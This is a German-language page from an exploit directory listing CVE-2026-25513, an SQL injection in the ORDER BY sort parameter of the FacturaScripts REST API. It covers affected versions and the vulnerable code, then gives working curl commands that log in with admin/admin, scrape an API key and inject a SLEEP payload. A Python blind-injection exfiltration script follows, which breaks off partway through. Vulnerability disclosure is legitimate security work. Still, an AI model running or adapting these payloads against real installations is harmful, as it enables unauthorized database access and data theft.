Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts hat eine SQL-Injection in der ORDER BY-Klausel der API. | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2026-25513
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts hat eine SQL-Injection in der ORDER BY-Klausel der API.

Repository anzeigen
4vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25513: SQL-Injection in der ORDER-BY-Klausel der API von FacturaScripts

Übersicht

FeldDetails
CVE-IDCVE-2026-25513
SchweregradHOCH
AdvisoryAdvisory ansehen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • facturascripts/facturascripts (Versionen: < 2025.81)

CWE-Klassifizierung

  • CWE-20: Unzureichende Eingabevalidierung
  • CWE-89: Unzureichende Neutralisierung spezieller Elemente in einem SQL-Befehl ('SQL Injection')
  • CWE-943: Unzureichende Neutralisierung spezieller Elemente in der Datenabfragelogik
  • CWE-1286: Unzureichende Validierung der syntaktischen Korrektheit von Eingaben

Details

Zusammenfassung

FacturaScripts enthält eine kritische SQL-Injection-Schwachstelle in der REST-API, die es authentifizierten API-Benutzern ermöglicht, über den Parameter sort beliebige SQL-Abfragen auszuführen. Die Schwachstelle befindet sich in der Methode ModelClass::getOrderBy(), bei der benutzergelieferte Sortierparameter ohne Validierung oder Bereinigung direkt in die SQL-ORDER-BY-Klausel eingefügt werden. Dies betrifft alle API-Endpunkte, die Sortierfunktionen unterstützen.


Details

Die FacturaScripts-REST-API stellt Datenbankmodelle über verschiedene Endpunkte bereit (z. B. /api/3/users, /api/3/attachedfiles, /api/3/customers). Diese Endpunkte unterstützen einen Parameter sort, mit dem Clients die Reihenfolge der Ergebnisse festlegen können. Die API verarbeitet diesen Parameter über die Methode ModelClass::all(), die die anfällige Funktion getOrderBy() aufruft.

Anfällige Codestellen

1. Legacy-Modelle: Datei: /Core/Model/Base/ModelClass.php Methode: getOrderBy() Direkte Verkettung von Schlüsseln und Werten aus dem $order-Array.

2. Moderne Modelle (DbQuery): Datei: /Core/DbQuery.php Methode: orderBy() Zeilen: 255-259

        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Diese Prüfung soll SQL-Funktionen ermöglichen, validiert sie aber nicht, sodass beliebige SQL-Injection möglich ist.


Proof of Concept (PoC)

Voraussetzungen

  • Gültiges API-Authentifizierungstoken (X-Auth-Token-Header)
  • Zugriff auf die API-Endpunkte von FacturaScripts

Schritt-für-Schritt-Verifizierung (CLI)

Da FacturaScripts einen vorhandenen API-Schlüssel voraussetzt, melden wir uns zunächst über die Weboberfläche an, um einen gültigen Schlüssel zu finden.

1. Anmelden und einen gültigen API-Schlüssel abrufen: Wir behandeln das CSRF-Token und die Sitzungscookies, um auf die Einstellungen zuzugreifen und den ersten verfügbaren Schlüssel abzurufen.

# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Zeitbasierte SQL-Injection verifizieren: Verwenden Sie den extrahierten API_KEY im X-Auth-Token-Header.

# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Erwartetes Ergebnis: Die injizierte Anfrage wird deutlich länger dauern (die Verzögerung hängt von den Datensätzen in der Datenbank ab), was die SQL-Injection bestätigt.


Automatisiertes Exploitation-Tool

Dieses Skript meldet sich automatisch bei FacturaScripts an, ruft einen gültigen API-Schlüssel ab und führt mithilfe zeitbasierter Blind-SQL-Injection eine fallunterscheidende Datenextraktion durch.

import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")
Tool herunterladen